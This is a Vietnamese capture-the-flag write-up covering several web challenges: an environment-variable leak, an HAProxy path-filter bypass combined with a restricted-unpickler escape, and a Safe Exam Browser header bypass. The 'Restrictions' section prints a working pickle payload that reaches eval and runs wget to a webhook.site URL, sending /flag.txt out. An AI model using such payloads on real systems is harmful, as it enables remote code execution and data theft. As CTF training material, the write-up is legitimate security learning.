PATH=/usr/local/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin LANG=C.UTF-8 PYTHON_VERSION=3.8.19 PYTHON_SETUPTOOLS_VERSION=57.5.0 PWD=/app PYTHON_GET_PIP_SHA256=dfe9fd5c28dc98b5ac17979a953ea550cec37ae1b47a5116007395bfacff2ab9 FLAG=KCSC{REDACTED} ``` Test trên server thật thì ``` root@LAPTOP-3QFM2RO7:/home/l1nx1n/ctf# curl http://103.163.24.78:34028/healthz HOSTNAME=b90179d9ce8c PYTHON_PIP_VERSION=23.0.1 HOME=/root GPG_KEY=E3FF2839C048B25C084DEBE9B26995E310250568 WERKZEUG_SERVER_FD=3 PYTHON_GET_PIP_URL=https://github.com/pypa/get-pip/raw/dbf0c85f76fb6e1ab42aa672ffca6f0a675d9ee4/public/get-pip.py PATH=/usr/local/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin LANG=C.UTF-8 PYTHON_VERSION=3.8.19 PYTHON_SETUPTOOLS_VERSION=57.5.0 PWD=/app PYTHON_GET_PIP_SHA256=dfe9fd5c28dc98b5ac17979a953ea550cec37ae1b47a5116007395bfacff2ab9 FLAG=KCSC{n0th1ng_1n_y0ur_eye5_62165631} ``` Flag: `FLAG=KCSC{n0th1ng_1n_y0ur_eye5_62165631}` #### Restrictions Request Instance: nc 103.163.24.78 1337 Author: vtgsxx ##### Preface ![image](https://hackmd.io/_uploads/SkqhzfZm0.png) ![image](https://hackmd.io/_uploads/SymfXfZ70.png) Trang web chỉ cho ta access vào `/pickme` tuy nhiên mã trả về lại là 403. Check ở source code thì em thấy được 2 điều ta cần thực hiện như sau: 1. Bypass haproxy to get `/pickme` ``` global log stdout format raw local0 maxconn 4096 user haproxy group haproxy defaults mode http log global timeout connect 5000 timeout client 10000 timeout server 10000 frontend front1 bind *:${FRONT_PORT} default_backend back1 backend back1 http-request deny if { path,url_dec -i -m sub pick } # never gonna let you in server s1 ${BACK_SERVER}:${BACK_PORT} ``` Có vẻ như việc access tới `/pickme` bị chặn thông thông qua `http-request deny` bằng cách kiểm tra xem đường dẫn có chứa `pick` hay không không phân biệt chữ hoa hay thường 2. Pickle deserialization to rce bypass RestrictedUnpickler ``` import io import pickle unsafe_builtins = [ "exec", "eval", "__import__" ] def is_safe(module, name): if module == "builtins" and name not in unsafe_builtins: return True return False class RestrictedUnpickler(pickle.Unpickler): def find_class(self, module, name): if is_safe(module, name): return super().find_class(module, name) else: raise pickle.UnpicklingError("'%s.%s' is forbidden" % (module, name)) def restricted_loads(s): return RestrictedUnpickler(io.BytesIO(s)).load() ``` Đoạn mã này định nghĩa một bộ giải tuần tự tùy chỉnh để giải tuần tự (unpickle) các đối tượng Python một cách an toàn, hạn chế việc sử dụng các hàm dựng sẵn nguy hiểm. Nó ghi đè phương thức find_class trong một lớp con của pickle.Unpickler để chỉ cho phép các lớp và hàm an toàn, chặn những hàm có thể gây hại như exec, eval và `__import__` ##### Recon 1. Weird processing between flask and haproxy ![image](https://hackmd.io/_uploads/By7ekQ-m0.png) `http_parse_path` ``` 642 struct ist http_parse_path(struct http_uri_parser *parser) 643 { 644 const char *ptr, *end; 645 646 // Kiểm tra trạng thái của parser, nếu đã quá trạng thái parse PATH_DONE, thoát hàm 647 if (parser->state >= URI_PARSER_STATE_PATH_DONE) 648 goto not_found; 649 650 // Kiểm tra định dạng của URI, nếu rỗng hoặc chỉ chứa "*", thoát hàm 651 if (parser->format == URI_PARSER_FORMAT_EMPTY || 652 parser->format == URI_PARSER_FORMAT_ASTERISK) { 653 goto not_found; 654 } 655 656 // Lấy con trỏ đến đầu và cuối của URI 657 ptr = istptr(parser->uri); 658 end = istend(parser->uri); 659 660 // Nếu URI ở định dạng absolute-path, bỏ qua phần scheme và authority 661 if (parser->format == URI_PARSER_FORMAT_ABSURI_OR_AUTHORITY) { 662 if (parser->state < URI_PARSER_STATE_SCHEME_DONE) { 663 // Nếu không tìm thấy scheme, URI ở định dạng authority, không có PATH 664 if (!isttest(http_parse_scheme(parser))) 665 goto not_found; 666 } 667 668 // Nếu trạng thái chưa hoàn thành phần authority, parse authority 669 if (parser->state < URI_PARSER_STATE_AUTHORITY_DONE) 670 http_parse_authority(parser, 1); 671 672 // Cập nhật con trỏ ptr 673 ptr = istptr(parser->uri); 674 675 // Nếu ptr đã đến cuối, thoát hàm 676 if (ptr == end) 677 goto not_found; 678 } 679 680 // Đánh dấu trạng thái PATH_DONE cho parser và trả về độ dài và con trỏ của PATH 681 parser->state = URI_PARSER_STATE_PATH_DONE; 682 return ist2(ptr, end - ptr); 683 684 not_found: 685 // Đánh dấu trạng thái PATH_DONE cho parser và trả về NULL 686 parser->state = URI_PARSER_STATE_PATH_DONE; 687 return IST_NULL; 688 } ``` Đầu tiên, hàm kiểm tra trạng thái của parser. Nếu parser đã hoàn thành giai đoạn parse PATH (URI_PARSER_STATE_PATH_DONE), hàm sẽ kết thúc và trả về ist2(0, 0). Sau đó, hàm kiểm tra định dạng của URI. Nếu URI rỗng hoặc chỉ chứa "*", hàm cũng trả về ist2(0, 0). Tiếp theo, con trỏ ptr và end được thiết lập để trỏ đến đầu và cuối của URI. Nếu URI ở định dạng `absolute-path`, hàm bỏ qua phần `scheme` và `authority`. Nếu không tìm thấy `scheme`, hoặc nếu ptr đã đến cuối, hàm cũng trả về `ist2(0, 0)`. Nếu tìm thấy ``"/"``, con trỏ và độ dài của PATH sẽ được trả về bằng cách cập nhật trạng thái của parser và sử dụng hàm ist2 để tạo một cặp giá trị con trỏ và độ dài của PATH. Nếu không tìm thấy "/", hàm cũng sẽ trả về ist2(0, 0). Kết quả và xử lý lỗi: Kết quả của hàm là một cặp giá trị con trỏ và độ dài của PATH, hoặc ist2(0, 0) nếu không tìm thấy PATH. Trong cả hai trường hợp, trạng thái của parser sẽ được cập nhật để đánh dấu rằng việc parse PATH đã hoàn thành. Giá trị trả về ist2(0, 0) đại diện cho một cặp giá trị con trỏ và độ dài của một phần của chuỗi. Trong trường hợp này, độ dài được đặt là 0, và con trỏ được đặt là 0, có thể hiểu là không có phần PATH được tìm thấy trong URI. Mục đích của việc trả về giá trị này là để thông báo cho người gọi hàm (trong trường hợp này là chương trình phân tích URI) rằng không có PATH được xác định trong yêu cầu HTTP. Điều này có thể quan trọng trong các ứng dụng như máy chủ web khi cần biết xem yêu cầu HTTP đi kèm với một PATH cụ thể hay không để xử lý các tác vụ phù hợp, như phân tích các yêu cầu đến và định tuyến chúng đến các tài nguyên tương ứng trên máy chủ Qua đây theo em đoán việc bypass thông sự khác biệt trong cách Flask và HAProxy xử lý yêu cầu HTTP : - Flask xử lý yêu cầu HTTP dựa trên cả phương thức và đường dẫn yêu cầu. Khi ta định nghĩa một route trong Flask, ví dụ: @app.route("/pickme"), ta sẽ đang chỉ định rằng mọi yêu cầu đến "/pickme" đều sẽ được xử lý bởi hàm được chỉ định. Do đó, dù yêu cầu chỉ có đường dẫn "/pickme" mà không có phần scheme (ví dụ: `"GET pickme HTTP/1.1"`), Flask vẫn sẽ xử lý nó như một yêu cầu đến `"/pickme"`. - HAProxy: HAProxy có cơ chế kiểm tra lại URI khi nó ở dạng `authority`. Trong trường hợp này, URI sẽ được so sánh với host header (nếu có host header). Điều này có nghĩa là nếu URI ở dạng authority, HAProxy sẽ sử dụng giá trị của host header để thực hiện kiểm tra (Nếu có host header). Do đó khi chúng ta bỏ `Host` header hoặc đặt tại `Host` header ta hoàn toàn có thể bypass qua HAproxy. Điều này dẫn đến việc Flask xử lý sai giúp chúng ta có thể access được `/pickme` 2. Trigger RCE via pickle deserialization bypass ``` import io import pickle unsafe_builtins = [ "exec", "eval", "__import__" ] def is_safe(module, name): if module == "builtins" and name not in unsafe_builtins: return True return False class RestrictedUnpickler(pickle.Unpickler): def find_class(self, module, name): if is_safe(module, name): return super().find_class(module, name) else: raise pickle.UnpicklingError("'%s.%s' is forbidden" % (module, name)) def restricted_loads(s): return RestrictedUnpickler(io.BytesIO(s)).load() ``` Sau khi access được `/pickme`, việc chúng ta cần tiếp tục đó là bypass qua RestrictedUnpickler. Lớp pickle.Unpickler là một trong những lớp cốt lõi trong Python dùng để giải nén các đối tượng. Nó cung cấp cơ chế để chuyển đổi dữ liệu đã được chuỗi hóa trở lại thành đối tượng Python ban đầu. Các bước cơ bản để giải nén sử dụng lớp Unpickler như sau: Tạo một thể hiện của Unpickler, truyền vào một đối tượng tệp có thể đọc được hoặc một luồng byte làm tham số. Gọi phương thức load để bắt đầu quá trình giải nén. Phương thức này đọc dữ liệu đã được chuỗi hóa và chuyển đổi nó thành một đối tượng Python. `find_class` Những điểm quan trọng để bypass find_class như sau: Khi xuất hiện `c, i, b'\x93'`: Khi một trong ba opcode này xuất hiện trong quá trình giải nén, hàm `find_class` sẽ được gọi. Do đó, chỉ cần không vi phạm các quy tắc khi ba opcode này được trực tiếp đưa vào module thì hàm find_class sẽ không bị gọi. `find_class()` chỉ được gọi một lần khi phân tích opcode: Hàm `find_class` chỉ được gọi một lần khi phân tích opcode. Vì vậy, chỉ cần bypass quá trình thực thi opcode, `find_class` sẽ không được gọi lại. Nói cách khác, chỉ cần gọi `find_class()` một lần và các hàm được tạo ra sau khi pass sẽ không bị chặn trong danh sách đen, do đó `__import__` một số danh sách đen có thể được bypass `Bypassing the blacklist {'eval', 'exec', '__import__'}` Điều này có nghĩa là hàm `eval` không thể lấy trực tiếp thông qua `cbuiltins\neval` `__import__('builtins').eval` Để bỏ qua những hạn chế như vậy, ta cần lấy hàm `eval` mà không cần sử dụng toán tử dấu chấm. Đương nhiên, ta có thể nghĩ đến `__getattribute__` các hàm như getattr, v.v. ``` getattr(__builtins__,'eval') __builtins__.__getattribute__('eval') ``` Sự khác biệt giữa hai cấu trúc, cấu trúc thứ hai đơn giản hơn ``` c = b'''cbuiltins __getattribute__ (S'eval' tR. ''' print(pickle.loads(c)) # <built-in function eval> ``` Từ chế độ xem của `find_class`, tải trọng này chỉ nhập `builtins.__getattribute__eval`, đây chỉ là một chuỗi, vì vậy nó có thể bỏ qua hàm `eval`. ``` c = b'''cbuiltins __getattribute__ (S'eval' tR(S'__import__("os").system("ls")' tR. ''' ``` ##### Exploit ``` import io import pickle import base64 unsafe_builtins = [ "exec", "eval", "__import__" ] def is_safe(module, name): if module == "builtins" and name not in unsafe_builtins: return True return False class RestrictedUnpickler(pickle.Unpickler): def find_class(self, module, name): if is_safe(module, name): return super().find_class(module, name) else: raise pickle.UnpicklingError("'%s.%s' is forbidden" % (module, name)) def restricted_loads(s): return RestrictedUnpickler(io.BytesIO(s)).load() opcode= b'''cbuiltins __getattribute__ (S'eval' tR(S'__import__("os").system("wget https://webhook.site/42f315e6-961e-4dc2-b625-d5d39984ed44 ?flag=`cat /flag.txt`")' tR. ''' pick = base64.b64encode(opcode) print(pick) restricted_loads(base64.b64decode(pick)) ``` Sau đó ta call POST tới `pickme` và truyền vào `pick` ![image](https://hackmd.io/_uploads/rkZoHmWQ0.png) And Result: ![image](https://hackmd.io/_uploads/B1nXI7-XR.png) Server Result: ![image](https://hackmd.io/_uploads/r1eILQW7A.png) Flag is: `KCSC{7H3_0nly_r357R1C710N_15_y0UR_m1ND_6843524968683745323269516b673869}` #### Itest develop Author: meulody Url http://itest.kcsc.tf:10003 (only accept SEB ;)) Đây là một challenge thú vị liên quan tới SEB (Safe Exam Browser (SEB) là một phần mềm mã nguồn mở được thiết kế để tạo ra một môi trường kiểm tra an toàn trên máy tính. SEB biến máy tính của người dùng thành một trạm làm bài thi chuyên dụng, giúp ngăn chặn các hành vi gian lận trong kỳ thi trực tuyến.) Có vẻ tác giả đã config file `.seb` và cung cấp cho chúng ta source code sau đây: ``` const uuid = require('uuid') const sha256 = require('js-sha256') const fp = require('fastify-plugin') const fastify = require('fastify')({ ignoreTrailingSlash: true, logger: { level: 'info' } }) await fastify.register(require('@fastify/env'), { schema: { type: 'object', required: ['FLAG', 'CONFIG_KEY', 'BROWSER_EXAM_KEY'], properties: { FLAG: { type: 'string', default: 'KCSC{test}' }, CONFIG_KEY: { type: 'string', default: '0123456789abcdef' }, BROWSER_EXAM_KEY: { type: 'string', default: '0123456789abcdef' } } } }) await fastify.register(require('@fastify/helmet'), { global: true }) await fastify.register(require('@fastify/cookie')) await fastify.register(require('@fastify/session'), { secret: [...Array(32)].map(() => Math.floor(Math.random() * 16).toString(16)).join('') }) await fastify.register(require('@fastify/static'), { root: require('node:path').join(__dirname, 'public'), prefix: '/public/', }) const uuidb = new Map() const calculateConfigKeyHash = (configKey, url) => { return sha256(url + configKey) } const calculateBrowserExamKeyHash = (broswerKey, url) => { return sha256(url + broswerKey) } await fastify.register(fp((fastify, opts, next) => { fastify.addHook('onRequest', async (req, reply) => { let configKeyHash = calculateConfigKeyHash(fastify.config.CONFIG_KEY, `http://${req.headers.host}:10003${req.url}`) let broswerExamKeyHash = calculateBrowserExamKeyHash(fastify.config.BROWSER_EXAM_KEY, `http://${req.headers.host}:10003${req.url}`) if (req.headers['x-safeexambrowser-configkeyhash'] !== configKeyHash || req.headers['x-safeexambrowser-requesthash'] !== broswerExamKeyHash) { reply.type('text/html').status(403).send('pls use on safe exam browser') } }) next() })) fastify.get('/', function (request, reply) { reply.sendFile('index.html') }) fastify.get('/get-flag', async function (request, reply) { let uuid4 = uuid.v4() await request.session.reload() await uuidb.set(request.session.sessionId, uuid4) await request.session.save() await reply.status(302).redirect(`/flag/${uuid4}`) }) fastify.get('/flag/:uuid', function (request, reply) { let uuid = uuidb.get(request.session.sessionId) request.session.destroy() if (uuid === request.params.uuid) { reply.send(fastify.config.FLAG) } else { reply.status(401).send('forbidden') } }) fastify.listen({ host: '0.0.0.0', port: 10003 }) ``` Ta có thể thấy flag nằm ở `/flag/:uid` ``` fastify.get('/flag/:uuid', function (request, reply) { let uuid = uuidb.get(request.session.sessionId) request.session.destroy() if (uuid === request.params.uuid) { reply.send(fastify.config.FLAG) } else { reply.status(401).send('forbidden') } }) ``` Và session được tạo ra thông qua route `/get-flag`: ``` fastify.get('/get-flag', async function (request, reply) { let uuid4 = uuid.v4() await request.session.reload() await uuidb.set(request.session.sessionId, uuid4) await request.session.save() await reply.status(302).redirect(`/flag/${uuid4}`) }) ``` Tuy nhiên thực tế ta lại không thể truy cập qua url này thông qua browser thông thường. ![image](https://hackmd.io/_uploads/rJ_sH2W7C.png) Safe Exam Browser (SEB) có cơ chế xác thực đặc biệt để đảm bảo rằng các yêu cầu đến từ trình duyệt SEB và không từ bất kỳ trình duyệt nào khác. Điều này được thực hiện thông qua việc thêm hai header đặc biệt vào mỗi yêu cầu HTTP: `x-safeexambrowser-requesthash` và `x-safeexambrowser-configkeyhash` Ta có thể thấy ở đây ``` const calculateConfigKeyHash = (configKey, url) => { return sha256(url + configKey); } const calculateBrowserExamKeyHash = (browserKey, url) => { return sha256(url + browserKey); } ``` `calculateConfigKeyHash`: Tính toán giá trị băm của URL cộng với CONFIG_KEY. `calculateBrowserExamKeyHash`: Tính toán giá trị băm của URL cộng với BROWSER_EXAM_KEY. ``` await fastify.register(fp((fastify, opts, next) => { fastify.addHook('onRequest', async (req, reply) => { let url = `http://${req.headers.host}:10003${req.url}`; let configKeyHash = calculateConfigKeyHash(fastify.config.CONFIG_KEY, url); let browserExamKeyHash = calculateBrowserExamKeyHash(fastify.config.BROWSER_EXAM_KEY, url); if (req.headers['x-safeexambrowser-configkeyhash'] !== configKeyHash || req.headers['x-safeexambrowser-requesthash'] !== browserExamKeyHash) { reply.type('text/html').status(403).send('pls use on safe exam browser'); } }); next(); })); ``` `onRequest` hook được đăng ký để kiểm tra mỗi yêu cầu đến. Máy chủ tính toán lại các giá trị băm configKeyHash và browserExamKeyHash dựa trên URL của yêu cầu và các khóa bí mật (`CONFIG_KEY` và `BROWSER_EXAM_KEY`). Các giá trị băm này được so sánh với các giá trị trong header của yêu cầu: `x-safeexambrowser-configkeyhash`: Giá trị băm của URL và CONFIG_KEY. `x-safeexambrowser-requesthash`: Giá trị băm của URL và BROWSER_EXAM_KEY. Nếu bất kỳ giá trị nào không khớp, yêu cầu bị từ chối với mã trạng thái 403 và thông báo "pls use on safe exam browser". Khi vô file config `.seb` em phát hiện ra ta hoàn toàn có thể sử dụng được devtool, nhờ đó ta hoàn toàn access được hai header này ![image](https://hackmd.io/_uploads/SyefhUM7C.png) Nhờ đó truy cập vào url thông qua browser thông thường cũng sẽ thực hiện được ![image](https://hackmd.io/_uploads/Sk9ShIM70.png) Để ý ta thấy CSP được config như sau : `default-src 'self';base-uri 'self';font-src 'self' https: data:;form-action 'self';frame-ancestors 'self';img-src 'self' data:;object-src 'none';script-src 'self';script-src-attr 'none';style-src 'self' https: 'unsafe-inline';upgrade-insecure-requests` `frame-ancestors 'self'` giới hạn trang web chỉ có thể được nhúng vào khung từ cùng một nguồn gốc. Như vậy ta hoàn toàn có thể bypass qua nó thông qua sử dụng `window.open` ![image](https://hackmd.io/_uploads/H18A6IGmR.png) Sau đó ta có thể truy cập vào `http://itest.kcsc.tf:10003/get-flag` thông qua `location.href` ![image](https://hackmd.io/_uploads/r1YM1vGXC.png) ![image](https://hackmd.io/_uploads/SJc_ywzXA.png) Lúc này ta có thể access được `/flag/:uid` bằng cách chèn cookie đã có được ![image](https://hackmd.io/_uploads/HJIxlvfXA.png) Và ta có được flag ![image](https://hackmd.io/_uploads/HJxbewM7R.png) FLAG : `KCSC{-Ban-Da-Bi-Dinh-Chi-Thi-Mon-Nay-17c6c806-173f-45dd-b7bf-9f33f849df21}`